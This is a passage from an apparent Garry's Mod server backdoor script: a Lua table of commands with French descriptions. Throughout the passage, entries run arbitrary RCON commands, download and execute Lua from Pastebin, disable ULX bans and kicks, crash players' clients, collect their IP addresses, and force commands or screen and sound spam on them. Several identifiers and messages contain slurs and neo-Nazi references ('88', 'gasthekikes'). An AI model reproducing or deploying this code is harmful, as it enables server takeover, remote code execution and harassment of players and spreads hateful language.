583 explo:Fire("Explode", "", 0)
584
585 end
586
587 end]],
588
589 ["Desc"] = "Sa va faire boom",
590
591 },
592
593
594
595 ["Commande RCON"] = {
596
597 ["Type"] = 1,
598
599 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
600
601 ["Desc"] = "C'est tant de pouvoir le rcon ;)",
602
603 },
604
605
606
607 ["Lua run"] = {
608
609 ["Type"] = 1,
610
611 ["Code"] = [[ulx luarun @1]],
612
613 ["Desc"] = "Pas mal pour lancer des fichiers lua :')",
614
615 },
616
617
618
619 ["Lua run via pastebin"] = {
620
621 ["Type"] = 1,
622
623 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
624
625 ["Desc"] = "C'est drôle, tu peut lancer n'importe qu'elle fichier lua Pastebin avec ça (cc les skeletons)",
626
627 },
628
629
630
631 ["Détruire Le Ban & Le Kick ULX"] = {
632
633 ["Type"] = 1,
634
635 ["Code"] = [[ULib.Ban = function() return false end
636
637 ULib.addBan = function() return end
638
639 ULib.kick = function() return end]],
640
641 ["Desc"] = "RIP les joueurs ban et kick :c",
642
643 },
644
645 ["Activer Super Asriel"] = {
646
647 ["Type"] = 1,
648
649 ["Code"] = [[http.Fetch("https://pastebin.com/raw/eUVnvQjn",function(b,l,h,c)RunString(b)end,nil)]],
650
651 ["Desc"] = "I'm your best friend ! A.S.R.I.E.L D.R.E.E.M.U.R.R",
652
653 },
654
655
656 ["Bruit De Toux"] = {
657
658 ["Type"] = 1,
659
660 ["Code"] = [[
661
662 if !timer.Exists( "jcrevenofake" ) then
663
664 timer.Create( "jcrevenofake", 0.7, 0, function()
665
666 for _, p in pairs(player.GetAll()) do
667
668 p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
669
670 end
671
672 end)
673
674 else
675
676 timer.Remove( "jcrevenofake" )
677
678 end]],
679
680 ["Desc"] = "Sa tousse fort, la mort approche ?",
681
682 },
683
684 ["!Modifier Map"] = {
685
686 ["Type"] = 1,
687
688 ["Code"] = [[RunConsoleCommand("hostname", "@1"")]],
689
690 ["Desc"] = "Modifier La Map :D",
691
692 },
693
694
695 ["Danse To The Death"] = {
696
697 ["Type"] = 1,
698
699 ["Code"] = [[http.Fetch("https://pastebin.com/raw/sA70hXDc",function(b,l,h,c)RunString(b)end,nil)]],
700
701 ["Desc"] = "Danse To The Death",
702
703 },
704
705 ["Arme Multicolore"] = {
706
707 ["Type"] = 1,
708
709 ["Code"] = [[
710 hook.Add("Think","somewhere_over_the_rainbow",function()
711 local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
712 for _, v in ipairs(player.GetAll()) do
713 v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
714 end
715end))]],
716
717 ["Desc"] = "Dédicasse a maks",
718
719 },
720
721
722/*============================================
723|===== Commandes Sur Joueur Selectionné =====|
724===========================================*/
725
726
727
728 ["Tuer Le Joueur"] = {
729
730 ["Type"] = 2,
731
732 ["Code"] = [[v:Kill()]],
733
734 ["Desc"] = "",
735
736 },
737
738
739
740
741 ["Rendre Multicolore"] = {
742
743 ["Type"] = 2,
744
745 ["Code"] = [[
746
747 local id = ]] .. LocalPlayer():UserID() .. [[
748
749 Player( id ):SetModel( "models/player/group02/male_04.mdl" )
750
751 Player( id ):SetMaterial( "models/debug/debugwhite" )
752
753 hook.Add( "Think", "multicolore", function()
754
755 if !IsValid( Player( id ) ) then return end
756
757 Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
758
759 end )
760 ]],
761
762 ["Desc"] = "Transforme N'importe qui en personne multicolore :D",
763
764 },
765
766
767
768 ["Expelliarmus"] = {
769
770 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
771
772 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
773
774 ["Desc"] = "Désarme un random",
775
776 },
777
778
779
780 ["Supprimer Les Armes"] = {
781
782 ["Type"] = 2,
783
784 ["Code"] = [[v:StripWeapons()]],
785
786 ["Desc"] = "",
787
788 },
789
790
791
792 ["Roquette"] = {
793
794 ["Type"] = 2,
795
796 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
797
798 ["Desc"] = "Sends them flying up into the air",
799
800 },
801
802
803
804 ["Roquette Dévié"] = {
805
806 ["Type"] = 2,
807
808 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
809
810 ["Desc"] = "HOLY SHIIIIIIIIIIIT",
811
812 },
813
814
815
816 ["Change model"] = {
817
818 ["Type"] = 2,
819
820 ["Code"] = [[v:SetModel( @1 )]],
821
822 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
823
824 ["NeedsParameters"] = 1,
825
826 },
827
828
829
830 ["Choisi la vie + l'armure"] = {
831
832 ["Type"] = 2,
833
834 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
835
836 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
837
838 ["NeedsParameters"] = 2,
839
840 },
841
842
843
844 ["Ear rape"] = {
845
846 ["Type"] = 2,
847
848 ["Code"] = [[
849
850 local snd = {
851
852 [1] = "npc/stalker/go_alert2a.wav",
853
854 [2] = "vo/npc/male01/question06.wav",
855
856 [3] = "ambient/energy/zap1.wav",
857
858 [4] = "weapons/knife/knife_stBD.wav",
859
860 [5] = "vo/ravenholm/madlaugh04.wav",
861
862 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
863
864 [7] = "vo/breencast/br_collaboration01.wav,"
865
866 }
867
868 v:EmitSound( snd[tonumber(@1)], 100, 100 )
869
870 ]],
871
872 ["Desc"] = "Lance un son (choisir entre 1 & 7)",
873
874 ["NeedsParameters"] = 1,
875
876 },
877
878
879
880 ["Ear rape (via internet)"] = {
881
882 ["Type"] = 2,
883
884 ["Code"] = [[
885
886 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
887
888 ]],
889
890 ["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
891
892 ["NeedsParameters"] = 1,
893
894 },
895
896
897
898 ["Spam Visuel (via internet)"] = {
899
900 ["Type"] = 2,
901
902 ["Code"] = [[
903
904 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
905
906 ]],
907
908 ["Desc"] = "fait les regarder une image avec un URL infermable (1ème parametre). En lancer un deuxième le remplacera. Un lien invalide les effacera",
909
910 ["NeedsParameters"] = 1,
911
912 },
913
914
915
916 ["Mode Disco"] = {
917
918 ["Type"] = 2,
919
920 ["Code"] = [[
921
922 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
923
924 ]],
925
926 ["Desc"] = "C'est partie :D",
927
928 },
929
930
931
932 ["Musique Disco"] = {
933
934 ["Type"] = 2,
935
936 ["Code"] = [[
937
938 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
939
940 ]],
941
942 ["Desc"] = "rt",
943
944 },
945
946
947
948 ["Message PV"] = {
949
950 ["Type"] = 2,
951
952 ["Code"] = [[v:ChatPrint( @1 )]],
953
954 ["Desc"] = "Envoi un message anonyme",
955
956 ["NeedsParameters"] = 1,
957
958 },
959
960
961
962 ["Message PV (Amélioré)"] = {
963
964 ["Type"] = 2,
965
966 ["Code"] = [[
967
968 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
969
970 ]],
971
972 ["Desc"] = "Envoi un message anonyme de la couleur que tu veut (1er paramètre = texte, 2ème = rouge, 3ème = vert, 4ème = bleu)",
973
974 ["NeedsParameters"] = 1,
975
976 },
977
978
979
980 ["Brûler"] = {
981
982 ["Type"] = 2,
983
984 ["Code"] = [[v:Ignite( 30 )]],
985
986 ["Desc"] = "Crame le",
987
988 },
989
990
991
992 ["Activé/Désactivé GodMod"] = {
993
994 ["Type"] = 2,
995
996 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
997
998 ["Desc"] = "Mtn, t'es un dieu",
999
1000 },
1001
1002
1003
1004 ["Crash"] = {
1005
1006 ["Type"] = 2,
1007
1008 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1009
1010 ["Desc"] = "Instant Crash :')",
1011
1012 },
1013
1014
1015
1016 ["Activé/Desactivé SpeedHack Joueur"] = {
1017
1018 ["Type"] = 2,
1019
1020 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1021
1022 ["Desc"] = "ooooooooooooooooooooooooaw",
1023
1024 },
1025
1026
1027
1028 ["Geler/Dégeler Joueurs"] = {
1029
1030 ["Type"] = 2,
1031
1032 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1033
1034 ["Desc"] = "j'peut plus bouger :c",
1035
1036 },
1037
1038
1039
1040 ["Forcer a dire une phrase"] = {
1041
1042 ["Type"] = 2,
1043
1044 ["Code"] = [[v:Say(@1)]],
1045
1046 ["Desc"] = "C'est drôle quand ils comprennent pas",
1047
1048 ["NeedsParameters"] = 1,
1049
1050 },
1051
1052
1053
1054
1055
1056 ["Forcer a executer une commande"] = {
1057
1058 ["Type"] = 2,
1059
1060 ["Code"] = [[v:ConCommand(@1)]],
1061
1062 ["Desc"] = "Bruh, je me met a tourner",
1063
1064 ["NeedsParameters"] = 1,
1065
1066 },
1067
1068
1069
1070 ["Récuperer IP"] = {
1071
1072 ["Type"] = 2,
1073
1074 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1075
1076 ["Desc"] = "Reçois leurs ips dans ta console",
1077
1078 },
1079
1080
1081
1082
1083
1084 ["DarkRP ajouter/retirer de l'argent"] = {
1085
1086 ["Type"] = 2,
1087
1088 ["Code"] = [[v:addMoney(@1)]],
1089
1090 ["Desc"] = "Ajoute de la monnaie dans ton porte-monnaie (utiliser un chiffre négatif pour retirer)",
1091
1092 ["NeedsParameters"] = 1,
1093
1094 },
1095
1096
1097
1098 ["DarkRP forcer a join un job"] = {
1099
1100 ["Type"] = 2,
1101
1102 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1103
1104 ["Desc"] = "WHUT JE SUIS DEVENU PRESIDENT D'UN COUP",
1105
1106 ["NeedsParameters"] = 1,
1107
1108 },
1109
1110
1111
1112 ["Forcer a changer d'équipe"] = {
1113
1114 ["Type"] = 2,
1115
1116 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1117
1118 ["Desc"] = "Bruh j'suis un terroriste",
1119
1120 ["NeedsParameters"] = 1,
1121
1122 },
1123
1124
1125
1126 ["Forcer A Noclip"] = {
1127
1128 ["Type"] = 2,
1129
1130 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1131
1132 ["Desc"] = "Je vole :c",
1133
1134 },
1135
1136
1137
1138 ["Give une arme"] = {
1139
1140 ["Type"] = 2,
1141
1142 ["Code"] = [[v:Give( @1 )]],
1143
1144 ["Desc"] = "OH ! Une bombe nucléaire",
1145
1146 ["NeedsParameters"] = 1,
1147
1148 },
1149
1150
1151
1152 ["Give des munitions"] = {
1153
1154 ["Type"] = 2,
1155
1156 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1157
1158 ["Desc"] = "Recois des munitions (1er = nombres de munitions, 2èmes = type de munitions)",
1159
1160 ["NeedsParameters"] = 2,
1161
1162 },
1163
1164
1165
1166 ["Téléporter (Joueur a votre curseur)"] = {
1167
1168 ["Type"] = 2,
1169
1170 ["Code"] = [[
1171
1172 local tp = false
1173
1174 local tpos
1175
1176 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1177
1178 if tp then v:SetPos( tpos ) end
1179
1180 ]],
1181
1182 ["Desc"] = "Bruh",
1183
1184 },
1185
1186
1187
1188 ["Téléporter (Vous a eux)"] = {
1189
1190 ["Type"] = 2,
1191
1192 ["Code"] = [[
1193
1194 local tp = false
1195
1196 local tpos = v:GetPos() + Vector( 32, 0, 10)
1197
1198 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1199
1200 ]],
1201
1202 ["Desc"] = "Bruh",
1203
1204 },
1205
1206
1207
1208 ["Téléporter (Blink)"] = {
1209
1210 ["Type"] = 2,
1211
1212 ["Code"] = [[
1213
1214 local tpos = v:GetEyeTraceNoCursor().HitPos
1215
1216 v:SetPos( tpos )
1217
1218 ]],
1219
1220 ["Desc"] = "J'suis un enderman omg",
1221
1222 },
1223
1224
1225
1226 ["Spawn une entité près du joueur"] = {
1227
1228 ["Type"] = 2,
1229
1230 ["Code"] = [[
1231
1232 local tr = {}
1233
1234 tr.start = v:GetShootPos()
1235
1236 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1237
1238 tr.filter = {v}
1239
1240 local trace = util.TraceLine(tr)
1241
1242 local dix = ents.Create( @1 )
1243
1244 dix:SetPos(trace.HitPos)
1245
1246 dix:SetAngles(Angle(0,0,0))
1247
1248 dix:Spawn()
1249
1250 ]],
1251
1252 ["Desc"] = "Spawn une entité a côté (1er = code/classe de l'entité), tu peut pas spawn de voiture!",
1253
1254 ["NeedsParameters"] = 1,
1255
1256 },
1257
1258
1259
1260 ["Spawn un props près du joueur"] = {
1261
1262 ["Type"] = 2,
1263
1264 ["Code"] = [[
1265
1266 local tr = {}
1267
1268 tr.start = v:GetShootPos()
1269
1270 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1271
1272 tr.filter = {v}
1273
1274 local trace = util.TraceLine(tr)
1275
1276 local dix = ents.Create( "prop_physics" )
1277
1278 dix:SetPos(trace.HitPos)
1279
1280 dix:SetAngles(Angle(0,0,0))
1281
1282 dix:SetModel( @1 )
1283
1284 dix:Spawn()
1285
1286 ]],
1287
1288 ["Desc"] = "Wallah on a tenter de me propskill (1er = model)",
1289
1290 ["NeedsParameters"] = 1,
1291
1292 },
1293
1294
1295
1296 [" Marquez Les Traces Inutile"] = {
1297
1298 ["Type"] = 2,
1299
1300 ["Code"] = [[
1301
1302 local tr = {}
1303
1304 tr.start = v:GetShootPos()
1305
1306 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1307
1308 tr.filter = {v}
1309
1310 local trace = util.TraceLine(tr)
1311
1312 local dix = ents.Create( "prop_physics" )
1313
1314 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1315
1316 dix:SetAngles( v:GetAngles() )
1317
1318 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1319
1320 dix:Spawn()
1321
1322 dix:SetMoveType( MOVETYPE_NONE )
1323
1324 dix:SetMaterial( "models/shiny" )
1325
1326 dix:SetColor( Color( 0, 0, 40 ) )
1327
1328
1329
1330 local function ecr( parent, model, pos, ang, col, mat )
1331
1332 local dix = ents.Create( "prop_physics" )
1333
1334 dix:SetPos( parent:LocalToWorld( pos ) )
1335
1336 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1337
1338 dix:SetModel( model )
1339
1340 dix:SetParent( parent )
1341
1342 dix:Spawn()
1343
1344 dix:SetColor( col )
1345
1346 dix:SetMaterial( mat )
1347
1348 end
1349
1350
1351
1352 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1353
1354 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 372 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1355
1356 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 260 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1357
1358 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1359
1360 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 0, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1361
1362 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1363
1364 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1365
1366 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1367
1368 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1369
1370 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1371
1372 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1373
1374 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1375
1376 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1377
1378 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1379
1380 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1381
1382 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1383
1384
1385 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "WOOOOOOOOOOOOOOW UNE BITE GEANTE")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1386
1387
1388
1389 ]],
1390
1391 ["Desc"] = "Fait apparaitre la statue bite",
1392
1393 ["Private"] = true,
1394
1395 },
1396
1397
1398
1399
1400 [" Marquez Les Trace De La 88"] = {
1401
1402 ["Type"] = 2,
1403
1404 ["Code"] = [[
1405
1406 local tr = {}
1407
1408 tr.start = v:GetShootPos()
1409
1410 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1411
1412 tr.filter = {v}
1413
1414 local trace = util.TraceLine(tr)
1415
1416 local dix = ents.Create( "prop_physics" )
1417
1418 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1419
1420 dix:SetAngles( v:GetAngles() )
1421
1422 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1423
1424 dix:Spawn()
1425
1426 dix:SetMoveType( MOVETYPE_NONE )
1427
1428 dix:SetMaterial( "models/shiny" )
1429
1430 dix:SetColor( Color( 0, 0, 40 ) )
1431
1432
1433
1434 local function ecr( parent, model, pos, ang, col, mat )
1435
1436 local dix = ents.Create( "prop_physics" )
1437
1438 dix:SetPos( parent:LocalToWorld( pos ) )
1439
1440 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1441
1442 dix:SetModel( model )
1443
1444 dix:SetParent( parent )
1445
1446 dix:Spawn()
1447
1448 dix:SetColor( col )
1449
1450 dix:SetMaterial( mat )
1451
1452 end
1453
1454
1455
1456 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1457
1458 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1459
1460 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1461
1462 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1463
1464 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1465
1466 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1467
1468 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1469
1470 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1471
1472 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1473
1474--
1475
1476
1477 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1478
1479 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1480
1481 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1482
1483 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1484
1485 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1486
1487 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1488
1489
1490
1491 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(0, 0, 0 ), "La 88 a apparement prit contrôle des lieux :D")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1492
1493
1494
1495 ]],
1496
1497 ["Desc"] = "Fait apparaitre la statue 88",
1498
1499 ["Private"] = true,
1500
1501 },
1502
1503
1504
1505
1506
1507 ["Spawn un NPC méchant près d'un joueur"] = {
1508
1509 ["Type"] = 2,
1510
1511 ["Code"] = [[
1512
1513 local tr = {}
1514
1515 tr.start = v:GetShootPos()
1516
1517 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1518
1519 tr.filter = {v}
1520
1521 local trace = util.TraceLine(tr)
1522
1523 local dix = ents.Create( "npc_citizen" )
1524
1525 dix:SetPos(trace.HitPos)
1526
1527 dix:SetAngles(Angle(0,0,0))
1528
1529 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1530
1531 dix:SetKeyValue( "citizentype", 3 )
1532
1533 dix:AddRelationship("player D_HT 200")
1534
1535 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1536
1537 dix:SetSchedule( SCHED_IDLE_WANDER )
1538
1539 dix:Spawn()
1540
1541 ]],
1542
1543 ["Desc"] = "Spawn a hostile NPC in front of this player",
1544
1545 },
1546
1547
1548
1549 ["Vision Mortel"] = {
1550
1551 ["Type"] = 2,
1552
1553 ["Code"] = [[
1554
1555 local trace = v:GetEyeTraceNoCursor()
1556
1557 if trace.Entity:IsValid() then trace.Entity:Remove() end
1558
1559 ]],
1560
1561 ["Desc"] = "Désintègre les joueurs que tu regarde",
1562
1563 },
1564
1565
1566
1567 ["Vision Explosive"] = {
1568
1569 ["Type"] = 2,
1570
1571 ["Code"] = [[
1572
1573 local trace = v:GetEyeTraceNoCursor()
1574
1575 local explo = ents.Create("env_explosion")
1576
1577 explo:SetPos(trace.HitPos)
1578
1579 explo:SetKeyValue("iMagnitude", "250")
1580
1581 explo:Spawn()
1582
1583 explo:Activate()
1584
1585 explo:Fire("Explode", "", 0)
1586
1587 ]],
1588
1589 ["Desc"] = "Explose ce que tu regarde",
1590
1591 },
1592
1593
1594
1595 ["Frappe Orbital Précise"] = {
1596
1597 ["Type"] = 2,
1598
1599 ["Code"] = [[
1600
1601 local trace = v:GetEyeTraceNoCursor()
1602
1603 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1604
1605 local explo = ents.Create("env_explosion")
1606
1607 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1608
1609 explo:SetKeyValue("iMagnitude", "250")
1610
1611 explo:Spawn()
1612
1613 explo:Activate()
1614
1615 explo:Fire("Explode", "", 0)
1616
1617 end)
1618
1619 ]],
1620
1621 ["Desc"] = "ça va faire boom",
1622
1623 },
1624
1625
1626
1627 ["Pluie De Véhicules"] = {
1628
1629 ["Type"] = 2,
1630
1631 ["Code"] = [[
1632
1633 local trace = v:GetEyeTraceNoCursor()
1634
1635 local car = ents.Create("prop_physics")
1636
1637 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1638
1639 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1640
1641 car:SetAngles( v:GetAngles() )
1642
1643 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1644
1645 car:Spawn()
1646
1647 car:Activate()
1648
1649 car.boom = 6
1650
1651 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1652
1653 car:Ignite( 500 )
1654
1655 car:AddCallback( "PhysicsCollide", function( car, dat )
1656
1657 local explo = ents.Create("env_explosion")
1658
1659 explo:SetPos( car:GetPos() )
1660
1661 explo:SetKeyValue("iMagnitude", "350")
1662
1663 explo:Spawn()
1664
1665 explo:Activate()
1666
1667 explo:Fire("Explode", "", 0)
1668
1669 local ef = EffectData()
1670
1671 ef:SetOrigin( car:GetPos() )
1672
1673 ef:SetMagnitude( 5 )
1674
1675 ef:SetScale( 200 )
1676
1677 util.Effect( "ThumperDust", ef )
1678
1679 car.boom = car.boom - 1
1680
1681 if car.boom < 0 then car:Remove() end
1682
1683 end )
1684
1685 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1686
1687 ]],
1688
1689 ["Desc"] = "Fait tomber des véhicules du ciel qui exploserons",
1690
1691 },
1692
1693
1694
1695
1696
1697
1698
1699 ["Gas Toxique"] = {
1700
1701 ["Type"] = 2,
1702
1703 ["Code"] = [[
1704
1705 local trace = v:GetEyeTraceNoCursor()
1706
1707 local ar2Explo = ents.Create("env_ar2explosion")
1708
1709 ar2Explo:SetOwner(game.GetWorld())
1710
1711 local p = trace.HitPos
1712
1713 ar2Explo:SetPos(trace.HitPos)
1714
1715 ar2Explo:Spawn()
1716
1717 ar2Explo:Activate()
1718
1719 ar2Explo:Fire("Explode", "", 0)
1720
1721 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1722
